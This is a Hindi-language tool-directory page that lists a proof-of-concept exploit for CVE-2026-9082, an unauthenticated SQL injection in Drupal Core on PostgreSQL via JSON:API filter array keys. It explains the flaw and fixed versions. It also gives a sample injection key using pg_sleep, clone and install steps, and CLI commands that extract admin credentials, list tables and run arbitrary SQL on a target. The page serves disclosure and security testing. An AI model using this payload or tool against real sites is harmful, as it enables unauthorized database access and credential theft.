Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-9082-Drupal-PoC — Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082। PostgreSQL-समर्थित साइटों पर JSON:API मॉड्यूल के माध्यम से अनाम SQL इंजेक्शन की अनुमति देने वाले Drupal भेद्यता के लिए नैतिक PoC। | Kitploit
उपकरण/GitHubGitHub/7h30th3r0n3/cve-2026-9082-drupal-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHub7h30th3r0n3/cve-2026-9082-drupal-poc

CVE-2026-9082-Drupal-PoC

Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082। PostgreSQL-समर्थित साइटों पर JSON:API मॉड्यूल के माध्यम से अनाम SQL इंजेक्शन की अनुमति देने वाले Drupal भेद्यता के लिए नैतिक PoC।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
2343 महीने पहलेKitploit द्वारा समीक्षित

CVE-2026-9082 - Drupal Core PostgreSQL SQL Injection PoC

Drupal लोगो


अवलोकन

यह रिपॉजिटरी CVE-2026-9082 के लिए एक नैतिक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) प्रदान करती है, जो Drupal Core में एक अत्यधिक गंभीर SQL इंजेक्शन कमजोरी है, जो Drupal 8.0 से 11.3.9 चलाने वाली सभी PostgreSQL-आधारित साइटों को प्रभावित करती है।

यह दोष PostgreSQL Entity Query कंडीशन हैंडलर में मौजूद है और इसे अनाम (अप्रमाणित) उपयोगकर्ताओं द्वारा JSON:API मॉड्यूल के माध्यम से शोषित किया जा सकता है, जो Drupal 9 के बाद से डिफ़ॉल्ट रूप से सक्षम है।

आधिकारिक सलाहकार: SA-CORE-2026-004


कमजोरी का सारांश

Drupal Core में एक डेटाबेस एब्स्ट्रैक्शन API शामिल है जो क्वेरी को स्वच्छ करने और SQL इंजेक्शन को रोकने के लिए डिज़ाइन किया गया है। PostgreSQL-विशिष्ट Entity Query कंडीशन क्लास (core/modules/pgsql/src/EntityQuery/Condition.php) में एक दोष हमलावर को JSON:API फ़िल्टर पैरामीटर के माध्यम से पारित किए गए उपयोगकर्ता-नियंत्रित ऐरे कुंजियों के माध्यम से मनमाना SQL इंजेक्ट करने की अनुमति देता है।

  • CVE ID: CVE-2026-9082
  • सलाहकार: SA-CORE-2026-004
  • प्रभावित सॉफ़्टवेयर: Drupal Core
  • प्रभावित संस्करण: 8.0.0 – 11.3.9 (केवल PostgreSQL बैकएंड)
  • ठीक किया गया: 11.3.10, 11.2.12, 10.6.9, 10.5.10
  • गंभीरता: अत्यधिक गंभीर — Drupal जोखिम पैमाने पर 20/25
  • प्रमाणीकरण: कोई आवश्यक नहीं (अनाम)
  • प्रभाव: डेटा निष्कासन, विशेषाधिकार वृद्धि, कुछ कॉन्फ़िगरेशन में RCE
  • हमला वेक्टर: HTTP — JSON:API फ़िल्टर कंडीशन ऐरे कुंजियाँ

यह कैसे काम करता है

  1. PostgreSQL कंडीशन क्लास में translateCondition() विधि $condition['value'] पर पुनरावृत्ति करती है और PDO प्लेसहोल्डर नाम बनाने के लिए ऐरे कुंजियों का उपयोग करती है:
    $where_id = $where_prefix . $key;
  2. JSON:API अनाम उपयोगकर्ताओं को URL पैरामीटर के माध्यम से मनमानी ऐरे कुंजियों के साथ फ़िल्टर मान प्रदान करने की अनुमति देता है:
    filter[x][condition][value][MALICIOUS_KEY]=val
  3. PDO नामित प्लेसहोल्डर केवल [a-zA-Z0-9_] वर्णों से मिलकर बने होते हैं। जब कुंजी में ) होता है, तो PDO प्लेसहोल्डर नाम को पार्स करना बंद कर देता है — इसके बाद सब कुछ शाब्दिक SQL बन जाता है जो क्वेरी में इंजेक्ट हो जाता है।
  4. एक कुंजी जैसे 1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)-- भेजकर, हमलावर IN() क्लॉज़ को बंद करता है और मनमाना SQL जोड़ता है, जबकि :prefix_1 के लिए बाइंडिंग उसी अनुरोध में एक वैध कुंजी 1 द्वारा संतुष्ट होती है।

संदर्भ और श्रेय

  • सलाहकार: SA-CORE-2026-004
  • पैच कमिट: ea9524d9
  • खोजकर्ता: michaelmaturi (सलाहकार में श्रेय दिया गया)

कानूनी सूचना

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, शैक्षिक उद्देश्यों और नैतिक अनुसंधान के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।


स्थापना

root@kitploit:~
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich

उपयोग (CLI)

root@kitploit:~
# जांचें कि लक्ष्य असुरक्षित है या नहीं
python3 CVE-2026-9082.py -u https://target.com --check

# PostgreSQL संस्करण निकालें
python3 CVE-2026-9082.py -u https://target.com --version

# डेटाबेस जानकारी निकालें (उपयोगकर्ता + DB नाम)
python3 CVE-2026-9082.py -u https://target.com --dbinfo

# Drupal व्यवस्थापक क्रेडेंशियल निकालें (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin

# डेटाबेस तालिकाएँ सूचीबद्ध करें
python3 CVE-2026-9082.py -u https://target.com --tables

# कस्टम SQL क्वेरी निष्कर्षण
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"

# बूलियन-आधारित निष्कर्षण का उपयोग करें (तेज़ लेकिन कम विश्वसनीय)
python3 CVE-2026-9082.py -u https://target.com --version -m bool

# इंटरएक्टिव मोड (कोई तर्क नहीं)
python3 CVE-2026-9082.py

लेखक

  • PoC 7h30th3r0n3 द्वारा विकसित किया गया
  • कमजोरी michaelmaturi द्वारा खोजी गई
टूल डाउनलोड करें